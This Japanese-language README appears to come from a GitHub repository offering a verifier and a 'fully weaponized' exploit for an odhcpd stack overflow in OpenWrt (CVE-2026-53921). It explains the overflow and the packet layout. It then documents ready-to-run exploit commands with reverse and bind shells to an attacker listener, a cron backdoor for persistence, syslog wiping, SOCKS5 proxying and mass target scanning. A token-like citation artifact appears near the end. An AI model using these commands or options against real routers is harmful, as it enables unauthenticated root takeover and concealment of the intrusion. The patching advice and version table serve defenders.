
CVE-2026-53921 – odhcpd スタックオーバーフロー (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE向けの詳細かつ包括的な脆弱性Write-Upと検証ツール & マルチエクスプロイト。デュアルベクター (IA_NA/IA_PD) オーバーフローを備え、MIPS/ARMシェルコード、ROPチェーン、SOCKS5プロキシ、永続化、ログ消去、大規模スキャンに対応。倫理的に使用し、法的に遵守してください。 🔒

- 教育および許可されたテストのみを目的としています。不正使用は違法です。**
CVE-2026-53921 は、OpenWrt の odhcpd デーモン(デフォルトの DHCPv6/DHCPv4/RA サーバー)における重大な スタックバッファオーバーフロー です。
この脆弱性は odhcpd の DHCPv6 メッセージ処理コード、具体的には build_ia() および dhcpv6_ia_handle_IAs() 関数に存在します。
このバグは DHCPv6 Reply パケットの シリアライズ(パッキング)中に発生します。odhcpd がクライアントの要求に応答する際、適切な境界チェックを行わずに 512 バイト の固定サイズスタックバッファに応答を構築します。
// 脆弱なコードの簡略表現
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// 書き込み前の境界チェックなし
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
攻撃者は以下の内容を含む DHCPv6 Request(または Solicit)を送信します:
odhcpd が Reply を構築する際、各オプションがスタック領域を消費します。蓄積されたデータが 512 バイト を超えると、オーバーフローが発生します。
ベクター トリガー オーバーフロー箇所
サイト 1 IPv6 アドレス付きの build_ia() for IA_NA
5 個の IA_NA オプション
build_ia() for IA_PD根本原因は同一ですが、オーバーフローは異なるコードパスで発生するため、両方のベクターが同様に悪用可能です。
スタックレイアウト(簡略化):
+-------------------+ <-- 高アドレス
| リターンアドレス | ← 攻撃者が制御する値で上書きされる
+-------------------+
| 保存されたフレームポインタ |
+-------------------+
| ローカル変数 | ← 512 バイトバッファ
+-------------------+ <-- 低アドレス
攻撃者は保存されたリターンアドレスを上書きし、メモリ内の自身のシェルコードを指すようにします。
要件 説明
ネットワークアクセス 攻撃者はターゲットへの IPv6 接続 が必要
認証 なし -- 未認証攻撃
権限 odhcpd は root として実行されるため、
RCE によりシステム全体の制御が可能
実際のエクスプロイトでは、攻撃者のシェルコードは IAAddress の IPv6 アドレスフィールド(IA_NA あたり 16 バイト)に配置されます。細工されたパケットは、シェルコード、NOP スレッド、リターンアドレスをこれらのフィールドに詰め込みます。
細工された IA_NA 構造:
+-------------------+
| IA_NA ヘッダー | (12 バイト)
+-------------------+
| IAAddress 1 | ← NOP スレッド + シェルコード
+-------------------+
| IAAddress 2 | ← NOP スレッド + シェルコード
+-------------------+
| IAAddress 3 | ← NOP スレッド + シェルコード
+-------------------+
| IAAddress 4 | ← リターンアドレス
+-------------------+
| IAAddress 5 | ← リターンアドレス
+-------------------+
細工された DHCPv6 リクエスト
↓
odhcpd が IA_NA/IA_PD オプションを処理
↓
512 バイトのスタックバッファがオーバーフロー
↓
リターンアドレスが上書きされる
↓
CPU がシェルコードにジャンプ
↓
リバースシェル / バインドシェル / RCE
↓
システム全体の侵害(root 権限)
バージョン ステータス RCE 可能?
odhcpd < e432dd6 脆弱 [+] はい OpenWrt < 24.10.8 脆弱 [+] はい OpenWrt < 25.12.5 脆弱 [+] はい OpenWrt 24.10.8+ 修正済み [-] いいえ OpenWrt 25.12.5+ 修正済み [-] いいえ odhcpd master + e432dd6 修正済み [-] いいえ
この脆弱性が特に危険な理由:
odhcpd は OpenWrt インストールでデフォルトで有効になっています。| コンポーネント | 脆弱なバージョン | 修正済み |
|---|---|---|
odhcpd(master ブランチ) | コミット e432dd6 より前 | e432dd6 以降 |
| OpenWrt リリース | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
このリポジトリは 2 つの独立したスクリプト を提供します:
| スクリプト | 目的 | エクスプロイトコード | 安全性 |
|---|---|---|---|
verifier.py | 非侵入型の脆弱性チェック | [-] なし | [+] 安全 |
exploit.py | 完全な武器化エクスプロイト | [+] あり | [!] 危険 |
verifier.py – 脆弱性チェッカーexploit.py – 完全なエクスプロイトIA_NA(サイト1)と IA_PD(サイト2)。git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#注:両方のスクリプトは、生の IPv6 パケットを作成するために root 権限が必要です。
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| 引数 | 説明 |
|---|---|
-u, --target | ターゲット IPv6 アドレス(必須) |
-i, --iface | ネットワークインターフェース(デフォルト:eth0) |
exploit.py| 引数 | 説明 |
|---|---|
-u, --target | ターゲット IPv6 アドレス |
-l, --list | ターゲットのリストを含むファイル |
-i, --iface | ネットワークインターフェース(デフォルト:eth0) |
--lhost | リスナー IP(必須) |
--lport | リスナーポート(デフォルト:4444) |
--vector | site1、site2、または both(デフォルト:both) |
--offset | スタックオフセット(デフォルト:512) |
--ret | 16 進数のリターンアドレス(例:0x7ffff000) |
--arch | mips または arm を強制(省略時は自動検出) |
--payload | reverse または bind(デフォルト:reverse) |
--encode | none または xor(デフォルト:none) |
--proxy-host | SOCKS5 プロキシ IP |
--proxy-port | SOCKS5 プロキシポート(デフォルト:1080) |
--persistence | cron バックドアをインストール |
--clear-logs | 悪用後に syslog を消去 |
--scan-only | ターゲットをスキャンのみ行い、悪用しない |
--threads | スキャン用のスレッド数(デフォルト:5) |
--verbose | 詳細ログ |
sudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. バインドシェルで単一のターゲットを悪用する
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. SOCKS5 プロキシ + 永続化 + ログ消去を使用する
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
OpenWrt を 24.10.8 または 25.12.5 以降にアップグレードしてください。
opkg update
opkg upgrade odhcpd
OpenWrt セキュリティアドバイザリ(GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd の両方のオーバーフローベクターを網羅した詳細なアドバイザリ。
CVE-2026-53921 NVD エントリ https://nvd.nist.gov/vuln/detail/CVE-2026-53921 NIST 公式脆弱性データベースのエントリ。
OpenWrt 24.10.8 リリースノート https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 ブランチの公式リリース発表。
OpenWrt 25.12.5 リリースノート https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 ブランチの公式リリース発表。
24.10.8 および 25.12.5 リリースは、CVE-2026-53921 以外にも複数の odhcpd 脆弱性に対処しています [citation:9]: